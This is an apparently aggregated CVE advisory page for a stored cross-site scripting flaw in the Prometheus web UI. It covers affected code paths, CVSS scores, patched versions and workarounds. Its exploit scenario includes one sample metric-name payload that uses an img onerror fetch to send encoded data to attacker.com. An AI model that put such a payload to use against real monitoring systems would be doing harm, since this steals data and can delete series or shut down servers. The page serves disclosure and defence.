Skip to main content

CVE-2026-40179

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-13 https://github.com/prometheus/prometheus GHSA-vffh-x6r8-xx99
5.3
CVSS 4.0 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

An attacker must first inject a malicious metric with HTML/JavaScript in the metric name or label values. This requires control over at least one metric source: (1) a scrape target that Prometheus pulls from via HTTP, which can be compromised or misconfigured to expose untrusted sources; (2) the remote write receiver endpoint (--web.enable-remote-write-receiver flag), which must be reachable by the attacker; or (3) the OTLP receiver endpoint (--web.enable-otlp-receiver flag

Impact

While CVSS score is not provided, the attack vector (AV:N - network-accessible web UI), attack complexity (AC:L - requires only crafting metric names), and privileges required (PR:N - unauthenticated metric injection via open scrape targets or receivers) indicate high exploitability. The scope is changed (S:C) because XSS in a user's browser can impact Prometheus API resources beyond the web UI sandbox. Real-world risk is elevated by three factors: (1) any organization running Prometheus with open scrape targets or enabled remote write/OTLP receivers is vulnerable to metric injection by attackers controlling those data sources; (2) the impact is not restricted to information disclosure - attackers can delete time-series data or shut down Prometheus if admin APIs are enabled (--web.enable-admin-api, --web.enable-lifecycle); (3) this requires user interaction (hovering over tooltips, opening metric explorer) but in a monitoring context, operators regularly interact with the UI. However, exploitation is not fully 'remote unauthenticated' in the classical sense - it requires a prior channel to inject malicious metrics (compromised scrape target, open remote write endpoint), making this a chained attack. EPSS data is unavailable, but the confirmed patch in upstream GitHub PR #18506 and commits indicate vendor recognition of severity. Prioritize patching if using open scrape targets, remote write, or OTLP receivers in untrusted networks.

Exploit ScenarioDerived

An attacker compromises an internal Prometheus scrape target (e.g., an application exporting metrics via /metrics endpoint) or gains access to push metrics via an open remote write endpoint. The attacker crafts a malicious metric name containing JavaScript, such as 'cpu_usage_{{<img src=x onerror=fetch("https://attacker.com?data="+btoa(JSON.stringify(prometheus_data)))>}}' or a similarly injected label value. When a Prometheus user navigates to the Graph page and hovers over a chart tooltip, or opens the Metric Explorer and the malicious metric appears in fuzzy search results, the JavaScript executes in the user's browser context. From the XSS context, the attacker exfiltrates the Prometheus configuration via /api/v1/status/config, deletes critical time-series data via /api/v1/admin/tsdb/delete_series (if admin API is enabled), or shuts down Prometheus via /-/quit (if lifecycle endpoint is enabled).

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 15, 2026

Stored cross-site scripting (XSS) in Prometheus web UI allows remote code execution in user browsers when viewing metrics with injected HTML/JavaScript in metric names or label values. Attackers who can inject metrics via compromised scrape targets, remote write, or OTLP receivers can execute arbitrary JavaScript to exfiltrate configuration, delete time-series data, or shut down Prometheus if admin APIs are enabled. Prometheus 3.5.2 LTS and 3.11.2 patch this by escaping all user-controlled value

Earlier versions of this analysis (1)
v1 Apr 15, 2026 - 12:48

Stored cross-site scripting (XSS) in Prometheus web UI allows remote code execution in user browsers when viewing metrics with injected HTML/JavaScript in metric names or label values. Attackers who can inject metrics via compromised scrape targets, remote write, or OTLP receivers can execute arbitrary JavaScript to exfiltrate configuration, delete time-series data, or shut down Prometheus if admin APIs are enabled. Prometheus 3.5.2 LTS and 3.11.2 patch this by escaping all user-controlled values before DOM insertion; no public exploit code identified at time of analysis.

RemediationAI

Upgrade Prometheus to version 3.5.2 LTS or 3.11.2, which apply escapeHTML() to all user-controlled metric names and label values before DOM insertion. Patched versions are available at https://github.com/prometheus/prometheus/pull/18506 and https://github.com/prometheus/prometheus/commit/07c6232d159bfb474a077788be184d87adcfac3c. Until patching is possible, implement network controls: restrict scrape targets to trusted internal systems only, disable or network-isolate the remote write receiver (--web.enable-remote-write-receiver) and OTLP receiver (--web.enable-otlp-receiver) if not required, and do not enable admin APIs (--web.enable-admin-api, --web.enable-lifecycle) unless necessary. Operators should audit current scrape target configurations and remote write permissions to ensure they are not exposed to untrusted networks or compromised systems.

Affected Packages

go github.com/prometheus/prometheus fix: 0.311.2-0.20260410083055-07c6232d159b, 3.5.2, 3.11.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Prometheus is a time-series metrics collection and querying system written in Go (pkg:go/github.com_prometheus_prometheus). The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation) across multiple UI code paths. The old React UI and new Mantine UI render metric names and label values directly into DOM via innerHTML without HTML entity escaping. Specifically, the code paths include uPlotChartHelpers.ts (tooltip rendering), GraphHelpers.ts (graph tooltips), MetricsExplorer.tsx (fuzzy search using dangerouslySetInnerHTML), and jquery.flot.heatmap.js (heatmap cell tooltips). Prometheus v3.x enforces UTF-8 validation for metric and label names, allowing previously-invalid characters like '<', '>', and '"' as legitimate metric/label values, which are then passed unsanitized to DOM insertion APIs. Data can be injected through three channels: scrape target responses (Prometheus pulls metrics from HTTP endpoints), remote write protocol (push-based metric ingestion via --web.enable-remote-write-receiver), or OTLP receivers (--web.enable-otlp-receiver for OpenTelemetry Protocol).

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
SUSE 5.4 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

3
CVSS changed
Apr 15, 2026 - 23:22 NVD
5.3 (MEDIUM)
Patch released
Apr 13, 2026 - 16:45 nvd
Patch available
CVE Published
Apr 13, 2026 - 16:39 nvd
MEDIUM 5.3

DescriptionGitHub Advisory

Impact

Stored cross-site scripting (XSS) via crafted metric names in the Prometheus web UI:

  • Old React UI + New Mantine UI: When a user hovers over a chart tooltip on the Graph page, metric names containing HTML/JavaScript are injected into innerHTML without escaping, causing arbitrary script execution in the user's browser.
  • Old React UI only: When a user opens the Metric Explorer (globe icon next to the PromQL expression input field), and a metric name containing HTML/JavaScript is rendered in the fuzzy search results, it is injected into innerHTML without escaping, causing arbitrary script execution in the user's browser.
  • Old React UI only: When a user views a heatmap chart and hovers over a cell, the le label values of the underlying histogram buckets are interpolated into innerHTML without escaping. While le is conventionally a numeric bucket boundary, Prometheus does not enforce this - arbitrary UTF-8 strings are accepted as label values, allowing script injection via a crafted scrape target or remote write.

With Prometheus v3.x defaulting to UTF-8 metric and label name validation, characters like <, >, and " are now valid in metric names and labels, making this exploitable.

An attacker who can inject metrics (via a compromised scrape target, remote write, or OTLP receiver endpoint) can execute JavaScript in the browser of any Prometheus user who views the metric in the Graph UI. From the XSS context, an attacker could for example:

  • Read /api/v1/status/config to extract sensitive configuration (although credentials / secrets are redacted by the server)
  • Call /-/quit to shut down Prometheus (only if --web.enable-lifecycle is set)
  • Call /api/v1/admin/tsdb/delete_series to delete data (only if --web.enable-admin-api is set)
  • Exfiltrate metric data to an external server

Both the new Mantine UI and the old React UI are affected. The vulnerable code paths are:

  • web/ui/mantine-ui/src/pages/query/uPlotChartHelpers.ts - tooltip innerHTML with unescaped labels.__name__
  • web/ui/react-app/src/pages/graph/GraphHelpers.ts - tooltip content with unescaped labels.__name__
  • web/ui/react-app/src/pages/graph/MetricsExplorer.tsx - fuzzy search results rendered via dangerouslySetInnerHTML without sanitization
  • web/ui/react-app/src/vendor/flot/jquery.flot.heatmap.js - heatmap tooltip with unescaped label values

Patches

A patch has been published in Prometheus 3.5.2 LTS and Prometheus 3.11.2. The fix applies escapeHTML() to all user-controlled values (metric names and label values) before inserting them into innerHTML. This advisory will be updated with the patched version once released.

Workarounds

  • If using the remote write receiver (--web.enable-remote-write-receiver), ensure it is not exposed to untrusted sources.
  • If using the OTLP receiver (--web.enable-otlp-receiver), ensure it is not exposed to untrusted sources.
  • Ensure scrape targets are trusted and not under attacker control.
  • Do not enable admin / mutating API endpoints (e.g. --web.enable-admin-api or web.enable-lifecycle) in cases where you cannot prevent untrusted data from being ingested.
  • Users should avoid clicking untrusted links, especially those containing functions such as label_replace, as they may generate poisoned label names and values.

Acknowledgements

Thanks to @gladiator9797 (Duc Anh Nguyen from TinyxLab) for reporting this.

Threat Intelligence Overview

EPSS Score
0.0%
Top 97% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)GitHub Advisory

pkg:go/github.com_prometheus_prometheus
pkg:go/github.com_prometheus_prometheus
pkg:go/github.com_prometheus_prometheus

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
SUSE Linux Enterprise Module for Package Hub 15 SP7 Fixed
SUSE Linux Enterprise Server 16.0 Fixed
SUSE Linux Enterprise Server for SAP applications 16.0 Fixed
SUSE Manager Client Tools 15 Fixed
SUSE Manager Client Tools for SLE 15 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy